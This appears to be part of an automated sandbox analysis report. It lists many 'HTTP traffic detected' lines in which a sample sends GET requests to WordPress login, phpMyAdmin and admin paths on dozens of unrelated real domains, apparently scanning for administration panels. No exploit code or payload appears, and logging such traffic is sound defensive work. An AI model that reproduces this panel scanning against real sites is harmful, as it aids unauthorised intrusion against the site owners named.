Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipCookie: site_version_phase=108; site_version=HDv3User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.hugedomains.com/domain_profile.cfm?d=uniqueaustralian.com
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://justinsweet.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 HTTP/1.1Host: cgi-sys.server294.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://twohillsstudio.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.u90soccercenter.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.newriverclimbing.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.a2b-internet.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin HTTP/1.1Host: www.ecochild.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=f9e567529add4aaa59de3ceb83771d70dc477fae-1703038407; __cf_bm=Dywd.0936Vq29pVbp8I8Fu3OEx.bsTU3cxXxEZXep7s-1703038407-1-AQTPK5aeDnWMjcosgjCzVJxsDmmFTKPENnUu2yFp/oaAg8Z+WzrJwZMe7OlyJCgLCCTKAony8PUtg91LiLeworY=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://directa-plus.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.geoffreynolds.com.au/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://lunarrastar.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=20b4858a8feb0bdf13218a028cef44dfdf9b9de0-1703038409; __cf_bm=ehZjTSv723BToZAVOJJkP8AhQlTBm9mV22TVcRIVSAg-1703038409-1-AXaHKodARbKL3kOuSXKr5kJv4lyoxfndGnD/IYCFIfrzosJo13N8ek4Ra+EVI3GshHtQ2GVEFr7rEzTe6CsOBmY=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: london.com.trAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=4ff266dda3ee08c47edace8900d173b5User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: www.tgcan.co.ukAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.geoffreynolds.com.au/wp-login.php
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=f9e567529add4aaa59de3ceb83771d70dc477fae-1703038407; __cf_bm=Dywd.0936Vq29pVbp8I8Fu3OEx.bsTU3cxXxEZXep7s-1703038407-1-AQTPK5aeDnWMjcosgjCzVJxsDmmFTKPENnUu2yFp/oaAg8Z+WzrJwZMe7OlyJCgLCCTKAony8PUtg91LiLeworY=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.greenlawnfertilizing.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: mobiamericas.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: twohillsstudio.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.qihabitats.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.rosetre.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipCookie: ingressnginxpublicuis=bc53bbf6feb93554bc2f53c19552f487\|66dc1766ccc35020769d07d4468e07d7; JSESSIONID=DEA611FDEF7E4A0BE251B65D819ACD9FUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.registrar-transfers.com/en_US/whois-suspension-netsol.jsp
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.qihabitats.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://wethepros.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=9e092446f956efccd5dcb8fb7c88b1b9User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=20b4858a8feb0bdf13218a028cef44dfdf9b9de0-1703038409; __cf_bm=ehZjTSv723BToZAVOJJkP8AhQlTBm9mV22TVcRIVSAg-1703038409-1-AXaHKodARbKL3kOuSXKr5kJv4lyoxfndGnD/IYCFIfrzosJo13N8ek4Ra+EVI3GshHtQ2GVEFr7rEzTe6CsOBmY=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=f9e567529add4aaa59de3ceb83771d70dc477fae-1703038407; __cf_bm=Dywd.0936Vq29pVbp8I8Fu3OEx.bsTU3cxXxEZXep7s-1703038407-1-AQTPK5aeDnWMjcosgjCzVJxsDmmFTKPENnUu2yFp/oaAg8Z+WzrJwZMe7OlyJCgLCCTKAony8PUtg91LiLeworY=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.greenlawnfertilizing.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.atelcommunications.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma HTTP/1.1Host: www.ecochild.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: artusopastry.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: eco-child.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipCookie: is_mobile=0User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=4ff266dda3ee08c47edace8900d173b5User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://horsetech.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /pma HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
